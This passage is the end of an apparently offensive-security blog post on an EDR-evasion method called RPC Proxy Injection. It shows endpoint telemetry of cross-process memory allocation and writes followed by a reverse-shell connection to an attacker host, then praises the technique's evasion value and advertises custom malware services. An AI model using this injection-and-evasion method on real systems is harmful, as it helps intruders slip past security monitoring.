The first logs related to this attack are this ones from here:
message: "Endpoint API event - WriteProcessMemory"
message: "Endpoint API event - VirtualAllocEx"But there is not any other suspicious event…
Until we see the reverse shell (shellcode):
message: "Endpoint network event"
In the image we see perfectly the attack timeline, first the events of the use from VirtualAllocEx and then WriteProcessMemory. Finally we have the connection going from 192.168.1.141 (victim) to 192.168.1.144 (attacker).
And if we check the details:
VirtualAllocEx event:
{
"event_timestamp": "2026-01-21T11:18:28.908Z",
"event_type": "VirtualAllocEx",
"source_process": "mspaint.exe (PID 8452)",
"target_process": "Notepad.exe (PID 6292, suspended)",
"api_call": "VirtualAllocEx (cross-process)",
"protection": "RWX",
"size": 464,
"address_type": "Unbacked",
"user": "s12de",
"host": "s12",
"critical_indicators": [
"Cross-process RWX allocation",
"Suspended target process",
"Unbacked memory",
"High likelihood of process injection (T1055)"
]
}WriteProcessMemory
{
"event_timestamp": "2026-01-21T11:18:28.909Z",
"event_type": "WriteProcessMemory",
"source_process": "RPCProxy.exe (PID 2712)",
"target_process": "Notepad.exe (PID 6292, suspended)",
"api_call": "WriteProcessMemory (cross-process)",
"written_size": 464,
"address": 1705077112832,
"address_type": "Unbacked",
"user": "s12de",
"host": "s12",
"critical_indicators": [
"Cross-process memory write",
"Writing to unbacked RWX memory in suspended process",
"Unsigned binary (RPCProxy.exe) in user Documents folder",
"Classic process injection step (T1055)",
"Follows previous VirtualAllocEx in same target"
]
}Reverse Shell Connection:
{
"event_timestamp": "2026-01-21T11:18:30.103Z",
"event_type": "network connection start",
"process": "Notepad.exe (PID 6292)",
"executable": "C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_...\Notepad.exe",
"user": "s12de",
"host": "s12",
"network": {
"direction": "egress (outbound)",
"transport": "tcp",
"source": "192.168.1.141:59723",
"destination": "192.168.1.144:1212"
},
"critical_indicators": [
"Outbound TCP connection from injected/suspended Notepad.exe",
"Connection to local network host on unusual high port 1212",
"Likely C2 / reverse shell callback (follows injection events)",
"Process uptime only 92 seconds at connection time"
]
}Bitdefender Free AV
Detected!

Conclusions
RPC Proxy Injection represents a particularly elegant and effective process injection evasion technique that cleverly exploits the trust most EDR/XDR solutions place in caller identity and direct API call chains. By completely splitting the classic injection flow between an injected legitimate process (client) and a separate malicious process (RPC server), and making the most suspicious operations (decryption + WriteProcessMemory + thread creation) appear to come from a completely different process, the technique manages to seriously disrupt many current behavioral detection logics, especially those that strongly rely on "who called what".
📌 Follow me: YouTube | 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter
We help security teams enhance offensive capabilities with precision-built tooling and expert guidance, from custom malware to advanced evasion strategies
S12.